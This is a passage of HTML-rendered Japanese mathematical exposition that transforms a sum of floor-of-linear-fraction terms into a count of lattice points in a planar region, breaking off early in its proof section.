<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mord"></span></span></span></span><br>
&#x307E;&#x305A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x304C;&#x8CA0;&#x306E;&#x3068;&#x304D;&#x306F;&#x5206;&#x6BCD;&#x3068;&#x5206;&#x5B50;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">1</span></span></span></span> &#x3092;&#x639B;&#x3051;&#x307E;&#x3059;&#x3002;<br>
&#x6B21;&#x306B;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x304C;&#x6B63;&#x306E;&#x3068;&#x304D;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span> &#x3067;&#x306F;&#x306A;&#x304F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span></span></span></span> &#x306E;&#x3088;&#x3046;&#x306B;&#x3001;&#x9006;&#x304B;&#x3089;&#x8DB3;&#x3057;&#x307E;&#x3059;&#x3002;( <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> &#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> &#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x307E;&#x3059;&#x3002;)&#x3059;&#x308B;&#x3068;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x4EE5;&#x4E0B;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<br>
&#x307E;&#x305F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x306F;&#x30B7;&#x30B0;&#x30DE;&#x306E;&#x4E2D;&#x8EAB;&#x304C;&#x5B9A;&#x6570;&#x3068;&#x306A;&#x308A;&#x3001;&#x7C21;&#x5358;&#x306B;&#x8A08;&#x7B97;&#x3067;&#x304D;&#x308B;&#x306E;&#x3067;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel">&#xE020;</span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3068;&#x3057;&#x3066;&#x3082;&#x554F;&#x984C;&#x306A;&#x3044;&#x3053;&#x3068;&#x304C;&#x5206;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;<br>
&#x4EE5;&#x4E0A;&#x3088;&#x308A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3092;&#x4EEE;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x304C;&#x8CA0;&#x3067;&#x3042;&#x308B;&#x3068;&#x6271;&#x3044;&#x3065;&#x3089;&#x3044;&#x306E;&#x3067;&#x3001;&#x4EE5;&#x4E0B;&#x3067;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3068;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x3001;&#x5BFE;&#x8C61;&#x306E;&#x5F0F;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span></span></span></span> &#x3068;&#x5909;&#x5F62;&#x3055;&#x308C;&#x308B;&#x3053;&#x3068;&#x306B;&#x6CE8;&#x610F;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;<br>
&#x6B21;&#x306B;&#x3001;&#x5B9A;&#x6570; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">CN</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span></span></span></span> &#x3092;&#x7528;&#x3044;&#x3066;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306B;&#x5909;&#x5F62;&#x3057;&#x307E;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord"><span class="delimsizing size3">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord"><span class="delimsizing size3">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span></span></span></span><br>
&#x3053;&#x306E;&#x3068;&#x304D;&#x3001;&#x30B7;&#x30B0;&#x30DE;&#x306E;&#x90E8;&#x5206;&#x306F;&#x5E73;&#x9762;&#x4E0A;&#x306E;&#x9818;&#x57DF; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mord">&#x2223;</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord" style="color:#df0030;">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mclose">}</span></span></span></span> &#x306E;&#x5185;&#x90E8;&#x3068;&#x5883;&#x754C;&#x4E0A;&#x306B;&#x5B58;&#x5728;&#x3059;&#x308B;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x3092;&#x8868;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><details><summary>&#x8A3C;&#x660E;</summary>
<p>&#x9818;&#x57DF; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mord">&#x2223;</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord" style="color:#df0030;">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mclose">}</span></span></span></span> &#x3068;&#x3059;&#x308B;&#x3002;<br>
&#x6B21;&#x306B;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x3092;&#x56FA;&#x5B9A;&#x3057;&#x3066; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x306E;&#x5185;&#x90E8;&#x53CA;&#x3073;&#x5883;&#x754C;&#x4E0A;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x3092;&#x6570;&#x3048;&#x4E0A;&#x3052;&#x308B;&#x3002;<br>
